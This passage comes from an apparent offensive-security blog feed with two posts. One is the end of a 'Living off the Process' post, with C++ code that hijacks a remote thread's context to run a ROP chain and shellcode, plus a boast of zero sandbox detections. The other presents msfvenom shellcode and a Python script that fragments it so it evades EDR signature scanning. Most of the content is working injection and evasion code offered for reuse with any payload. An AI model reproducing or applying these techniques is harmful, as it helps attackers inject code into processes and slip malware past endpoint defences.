 <span class="n">ctx</span><span class="p">.</span><span class="n">ContextFlags</span> <span class="o">=</span> <span class="n">CONTEXT_ALL</span><span class="p">;</span>

 <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">GetThreadContext</span><span class="p">(</span><span class="n">hThread</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ctx</span><span class="p">))</span> <span class="p">{</span>
     <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] GetThreadContext failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
     <span class="n">ResumeThread</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
     <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
 <span class="p">}</span>

 <span class="c1">// Set initial state</span>
 <span class="n">ctx</span><span class="p">.</span><span class="n">Rip</span> <span class="o">=</span> <span class="p">(</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">codeStubs</span><span class="p">;</span>           <span class="c1">// Start at first stub</span>
 <span class="n">ctx</span><span class="p">.</span><span class="n">Rsp</span> <span class="o">=</span> <span class="p">(</span><span class="n">DWORD64</span><span class="p">)</span><span class="n">remoteGadgets</span><span class="p">;</span>       <span class="c1">// Stack points to ROP chain</span>

 <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">SetThreadContext</span><span class="p">(</span><span class="n">hThread</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ctx</span><span class="p">))</span> <span class="p">{</span>
     <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] SetThreadContext failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
     <span class="n">ResumeThread</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
     <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
 <span class="p">}</span>

 <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Thread context set:"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
 <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"    RIP = 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">hex</span> <span class="o">&lt;&lt;</span> <span class="n">ctx</span><span class="p">.</span><span class="n">Rip</span> <span class="o">&lt;&lt;</span> <span class="s">L" (first stub)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
 <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"    RSP = 0x"</span> <span class="o">&lt;&lt;</span> <span class="n">ctx</span><span class="p">.</span><span class="n">Rsp</span> <span class="o">&lt;&lt;</span> <span class="s">L" (ROP chain)"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
  <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"</span><span class="se">\n</span><span class="s">[!] Press ENTER to execute ROP chain..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
 <span class="n">std</span><span class="o">::</span><span class="n">cin</span><span class="p">.</span><span class="n">get</span><span class="p">();</span>

  <span class="c1">// Execute!</span>
 <span class="k">if</span> <span class="p">(</span><span class="n">ResumeThread</span><span class="p">(</span><span class="n">hThread</span><span class="p">)</span> <span class="o">==</span> <span class="p">(</span><span class="n">DWORD</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
     <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[!] ResumeThread failed: "</span> <span class="o">&lt;&lt;</span> <span class="n">GetLastError</span><span class="p">()</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>
     <span class="n">CloseHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
     <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
 <span class="p">}</span>

 <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] ROP chain executing!"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
 <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[*] Waiting for shellcode to complete..."</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
 <span class="n">std</span><span class="o">::</span><span class="n">wcout</span> <span class="o">&lt;&lt;</span> <span class="s">L"[+] Execution complete!"</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>

 <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</code></pre></div></div>

<p>And here’s a quick video demonstration of walkthing through each code stub and ROP gadget, showing shellcode getting copied to the dedicated Shellcode memory region, and switching over to our fake stack address:</p>

<iframe width="560" height="315" src="https://www.youtube.com/embed/9sLomBhNa4A" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<p>Apologies that I jumped straight to executing the shellcode toward the end there.  I thought I had more breakpoints set 😆  If you want to see how the entire process plays out in greater detail, I’ll have the full video walkthrough available for those that subscribe to me on ko-fi.  Thanks, and hope you enjoyed this demonstration of my take on Living off the Process.  Until next time!</p>

<p><strong>Full Source Code ready to compile (Be sure to set the Build to ‘Release’ in Visual Studio!):</strong> <a href="https://github.com/g3tsyst3m/CodefromBlog/tree/main/2026-1-29-Living%20off%20the%20Process">Source Code</a></p>

<h2 id="bonus-content-for-members-sapphire-tier"><strong><em>Bonus Content for Members! (Sapphire Tier)</em></strong></h2>

<p>📹 In-Depth Video/Audio Walkthrough for today’s blog post: <a href="https://ko-fi.com/s/35ab60ff88">In-Depth Video Walkthrough</a></p>

<p>🗒️ Updated Source Code to go with the Video: <a href="https://ko-fi.com/s/00e5869580">Source Code for Video Walkthrough</a></p>

<h2 id="bonus-content-for-members-emerald--diamond-tiers"><strong><em>Bonus Content for Members! (Emerald + Diamond Tiers)</em></strong></h2>

<p>📓RWX Scanner Tool for detecting RWX memory regions in all processes <a href="https://ko-fi.com/s/4a8a0dc254">RWX Scanner Tool</a></p>

<p>📹📓 Video walkthrough + Source code for Assembly to Machine code &amp; Rop Gadget lookup toolkit!: <a href="https://ko-fi.com/s/825b8ee3e4">Video explaining ROP gadget and Assembly to Machine Code Tools</a></p>

<p>📔 LOTP Exclusive Final Code Update - Hijacking a worker thread <a href="https://ko-fi.com/s/12ba29993b">LOTP &amp; Hijacking a worker thread</a></p>

<h2 id="anyrun-sandboxing"><strong><em>ANY.RUN Sandboxing</em></strong></h2>

<p><strong>0 / 100 Detection Rate!!!:</strong></p>

<p><img width="1051" height="377" alt="image" src="https://github.com/user-attachments/assets/62edfbf8-2345-49ee-a30a-860f78cca223" /></p>

<p><a href="https://app.any.run/tasks/7c5f7772-79b3-41a0-8ad0-863095cf6e48">Full Sandbox Analysis</a></p>

<div style="text-align: right;">
  
<b>Sponsored By:</b><br />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/anyrun.png" />

<img width="200" height="130" alt="image" src="https://raw.githubusercontent.com/g3tsyst3m/g3tsyst3m.github.io/refs/heads/master/assets/images/vector35.png" />

</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="LOTP" /><category term="x64 assembly" /><category term="Rop Gadgets" /><category term="2026" /><category term="LOTP" /><category term="Living off the Process" /><category term="g3tsyst3m" /><category term="x64 shellcode" /><category term="shellcode" /><summary type="html"><![CDATA[Hello again everyone! Hope the start to the new year is treating you well. I am excited to share a new blog post with you! Furthermore, I’d consider the content shared in today’s post to be the most time I’ve spent in researching a particular offensive security topic/technique 😹 I’d say I spent well over a month looking into this exciting topic and I wanted to make sure I had all my research completed before I jumped in to making a post. Without further ado, I give you my take on what I’d like to call: Living off the Process! This is a technique that does as the name implies: We use what is already available to us in the remote process of our choosing to accomplish a given goal. In this case, the goal will be to write shellcode indirectly into the remote process with as low of a footprint as possible. When I say indirectly, I mean we won’t be using WriteProcessMemory to write the shellcode. That API does play a small role, but ultimately we will be indirectly writing our shellcode in 8 byte chunks using ROP gadgets and assembly stubs all made available in the remote process. We will also avoid the creation of RWX regions of memory. Here’s a quick overview on how it all works. We will be looking for:]]></summary></entry><entry><title type="html">Evading Signature Based Memory Detection - Shellcode Fragmentation and Staged Reassembly</title><link href="https://g3tsyst3m.com/shellcode%20fragmentation/in-memory%20evasion/Evading-Signature-Based-Memory-Detection-Shellcode-Fragmentation-and-Staged-Reassembly/" rel="alternate" type="text/html" title="Evading Signature Based Memory Detection - Shellcode Fragmentation and Staged Reassembly" /><published>2025-12-23T00:00:00+00:00</published><updated>2025-12-23T00:00:00+00:00</updated><id>https://g3tsyst3m.com/shellcode%20fragmentation/in-memory%20evasion/Evading%20Signature%20Based%20Memory%20Detection%20-%20Shellcode%20Fragmentation%20and%20Staged%20Reassembly</id><content type="html" xml:base="https://g3tsyst3m.com/shellcode%20fragmentation/in-memory%20evasion/Evading-Signature-Based-Memory-Detection-Shellcode-Fragmentation-and-Staged-Reassembly/"><![CDATA[<p>Hey everyone, and hope the holiday season is treating you well!  🎅🎄🎁  I’ve been sitting on this blog post for quite some time now and it’s high time I went ahead and make it public.  This technique has been around for quite some time, but I feel it gets easily tossed into the attic, along with so many other techniques still viable in 2025 and beyond.  Why?  Because we all love novelty for one thing, and the latest and greatest offsec technique is always going to pique our interest.  I get it, trust me.  I love learning new things, I thrive on it.  But I also like taking something old and re-inventing it so to speak.  I got my start reinventing older code and techniques with UAC bypasses.  There are so many that still work and remain undetected if you know how to tweak the code.  In other words, why reinvent the wheel entirely when you can just reinvent some aspects to repurpose something that already works?  EDR expects the novel techniques, but sometimes the tried and true techniques can be just as effective and quite unassuming, if you can adjust the heavily signatured nature of a given technique/payload artifact.</p>

<p>So, with that little prelude out of the way, here’s what we’re tackling today.  In today’s post, we will take shellcode generated by msfvenom, which as we all know is a highly signatured and well known payload artifact, and repurpose it in our code to evade in-memory and static scanning.  It’s incredibly handy to just generate shellcode using msfvenom and not have to craft it by hand.  Don’t get me wrong, I’m masochistic enough to appreciate a good handcrafted assembly -&gt; shellcode payload, but sometimes I just prefer to be lazy and let msfvenom do all the work. 😸</p>

<blockquote>
  <p><strong>In short</strong>: We’ll be breaking up our shellcode into randomized chunks, then reassembling it into a unique memory location using VirtualAlloc.  Finally, we’ll execute it via a tried and true remote thread.  Simple enough, right?  Let’s dive in! 😺</p>
</blockquote>

<h2 id="msfvenom--a-python-helper-script--fragmenting-our-shellcode">Msfvenom | A Python Helper Script | Fragmenting our Shellcode</h2>

<p>Let’s start out with a python helper script that will generate the necessary first portion of our code for us.  But first, go ahead and generate your msfvenom payload you wish to use in today’s code!  Here’s the command I used below to generate a messagebox shellcode payload:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">g3tsyst3m</span><span class="err">@</span><span class="n">debian</span><span class="o">:~</span><span class="err">$</span> <span class="n">msfvenom</span> <span class="o">-</span><span class="n">p</span> <span class="n">windows</span><span class="o">/</span><span class="n">x64</span><span class="o">/</span><span class="n">messagebox</span> <span class="n">TEXT</span><span class="o">=</span><span class="s">"g3tsyst3m"</span> <span class="n">TITLE</span><span class="o">=</span><span class="s">"g3tsyst3m"</span> <span class="n">ICON</span><span class="o">=</span><span class="n">INFORMATION</span> <span class="o">-</span><span class="n">f</span> <span class="n">python</span>

<span class="p">[</span><span class="o">-</span><span class="p">]</span> <span class="n">No</span> <span class="n">platform</span> <span class="n">was</span> <span class="n">selected</span><span class="p">,</span> <span class="n">choosing</span> <span class="n">Msf</span><span class="o">::</span><span class="n">Module</span><span class="o">::</span><span class="n">Platform</span><span class="o">::</span><span class="n">Windows</span> <span class="n">from</span> <span class="n">the</span> <span class="n">payload</span>
<span class="p">[</span><span class="o">-</span><span class="p">]</span> <span class="n">No</span> <span class="n">arch</span> <span class="n">selected</span><span class="p">,</span> <span class="n">selecting</span> <span class="n">arch</span><span class="o">:</span> <span class="n">x64</span> <span class="n">from</span> <span class="n">the</span> <span class="n">payload</span>
<span class="n">No</span> <span class="n">encoder</span> <span class="n">specified</span><span class="p">,</span> <span class="n">outputting</span> <span class="n">raw</span> <span class="n">payload</span>
<span class="n">Payload</span> <span class="n">size</span><span class="o">:</span> <span class="mi">305</span> <span class="n">bytes</span>
<span class="n">Final</span> <span class="n">size</span> <span class="n">of</span> <span class="n">python</span> <span class="n">file</span><span class="o">:</span> <span class="mi">1517</span> <span class="n">bytes</span>
<span class="n">buf</span> <span class="o">=</span>  <span class="n">b</span><span class="s">""</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xcc\x00\x00</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x00\x41\x51\x41\x50\x52\x48\x31\xd2\x51\x65\x48</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x8b\x52\x60\x48\x8b\x52\x18\x56\x48\x8b\x52\x20</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50\x4d\x31\xc9</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x41\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x18\x50\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x4d</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1\x38</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x88\x41\x58\x41\x58\x48\x01\xd0\x5e\x59\x5a\x41</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\xff\x5d\xe8\x0b\x00\x00\x00\x75\x73\x65\x72\x33</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x32\x2e\x64\x6c\x6c\x00\x59\x41\xba\x4c\x77\x26</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x07\xff\xd5\x49\xc7\xc1\x40\x00\x00\x00\xe8\x0a</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x00\x00\x00\x67\x33\x74\x73\x79\x73\x74\x33\x6d</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x00\x5a\xe8\x0a\x00\x00\x00\x67\x33\x74\x73\x79</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x73\x74\x33\x6d\x00\x41\x58\x48\x31\xc9\x41\xba</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\xb5\xa2\x56\xff\xd5</span><span class="s">"</span>
</code></pre></div></div>

<p>Now, copy the generated shellcode and place it in the script below.  This script will randomize the shellcode into chunks of varying lengths.  Recall that traditional shellcode detection looks for known patterns, typically in single memory regions.  Fragmentation breaks our payload into small, non-suspicious chunks.  Even if the first line has the familiar msfvenom \xfc\x48 and so on, it’s not feasible to trigger on all machine code instructions that include those first two bytes.  What would eventually happen if all EDR vendors decided to trigger on individual machine code, is that you would inevitably run into a terrible time managing false positives.  I take advantage of this 😸</p>

<p>Okay, back to the code.  Go ahead and paste your shellcode that was generated by msfvenom into the python script below and run it:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">random</span>

<span class="c1"># Example shellcode (replace with your actual shellcode)
</span><span class="n">buf</span> <span class="o">=</span>  <span class="sa">b</span><span class="sh">""</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xcc\x00\x00</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x00\x41\x51\x41\x50\x52\x48\x31\xd2\x51\x65\x48</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x8b\x52\x60\x48\x8b\x52\x18\x56\x48\x8b\x52\x20</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50\x4d\x31\xc9</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x41\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x18\x50\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x4d</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1\x38</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x88\x41\x58\x41\x58\x48\x01\xd0\x5e\x59\x5a\x41</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\xff\x5d\xe8\x0b\x00\x00\x00\x75\x73\x65\x72\x33</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x32\x2e\x64\x6c\x6c\x00\x59\x41\xba\x4c\x77\x26</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x07\xff\xd5\x49\xc7\xc1\x40\x00\x00\x00\xe8\x0a</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x00\x00\x00\x67\x33\x74\x73\x79\x73\x74\x33\x6d</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x00\x5a\xe8\x0a\x00\x00\x00\x67\x33\x74\x73\x79</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x73\x74\x33\x6d\x00\x41\x58\x48\x31\xc9\x41\xba</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\xb5\xa2\x56\xff\xd5</span><span class="sh">"</span>

<span class="k">def</span> <span class="nf">split_shellcode</span><span class="p">(</span><span class="n">shellcode</span><span class="p">):</span>
    <span class="n">chunks</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="n">index</span> <span class="o">=</span> <span class="mi">0</span>
    
    <span class="c1"># Continue splitting until we reach the end
</span>    <span class="k">while</span> <span class="n">index</span> <span class="o">&lt;</span> <span class="nf">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">):</span>
        <span class="c1"># If remaining bytes are less than minimum chunk size, take what's left
</span>        <span class="n">remaining_bytes</span> <span class="o">=</span> <span class="nf">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span> <span class="o">-</span> <span class="n">index</span>
        <span class="k">if</span> <span class="n">remaining_bytes</span> <span class="o">&lt;=</span> <span class="mi">15</span><span class="p">:</span>
            <span class="n">chunk_size</span> <span class="o">=</span> <span class="n">remaining_bytes</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="c1"># Random chunk size between 3 and 15 bytes
</span>            <span class="n">chunk_size</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="nf">randint</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">15</span><span class="p">)</span>
        
        <span class="c1"># Extract chunk and add to list
</span>        <span class="n">chunks</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">shellcode</span><span class="p">[</span><span class="n">index</span><span class="p">:</span><span class="n">index</span> <span class="o">+</span> <span class="n">chunk_size</span><span class="p">])</span>
        <span class="n">index</span> <span class="o">+=</span> <span class="n">chunk_size</span>
    
    <span class="c1"># Generate shellcode variables
</span>    <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">chunk</span> <span class="ow">in</span> <span class="nf">enumerate</span><span class="p">(</span><span class="n">chunks</span><span class="p">,</span> <span class="mi">1</span><span class="p">):</span>
        <span class="c1"># Convert chunk to hex string representation
</span>        <span class="n">hex_string</span> <span class="o">=</span> <span class="sh">'</span><span class="s">,</span><span class="sh">'</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="sa">f</span><span class="sh">'</span><span class="s">0x</span><span class="si">{</span><span class="n">byte</span><span class="si">:</span><span class="mi">02</span><span class="n">x</span><span class="si">}</span><span class="sh">'</span> <span class="k">for</span> <span class="n">byte</span> <span class="ow">in</span> <span class="n">chunk</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">unsigned char shellcode</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">[] = };</span><span class="sh">"</span><span class="p">)</span>
    
    <span class="c1"># Generate shellcodeChunks array
</span>    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="se">\n</span><span class="s">// Array of shellcode pointers</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">shellcode_array</span> <span class="o">=</span> <span class="sh">"</span><span class="s">, </span><span class="sh">"</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">shellcode</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="sh">"</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">chunks</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">unsigned char* shellcodeChunks[] = };</span><span class="sh">"</span><span class="p">)</span>
    
    <span class="c1"># Generate shellcodeSizes array
</span>    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="se">\n</span><span class="s">// Array of shellcode sizes</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">sizes_array</span> <span class="o">=</span> <span class="sh">"</span><span class="s">, </span><span class="sh">"</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">sizeof(shellcode</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">)</span><span class="sh">"</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">chunks</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">SIZE_T shellcodeSizes[] = };</span><span class="sh">"</span><span class="p">)</span>

<span class="c1"># Split the shellcode and generate variables
</span><span class="nf">split_shellcode</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span>
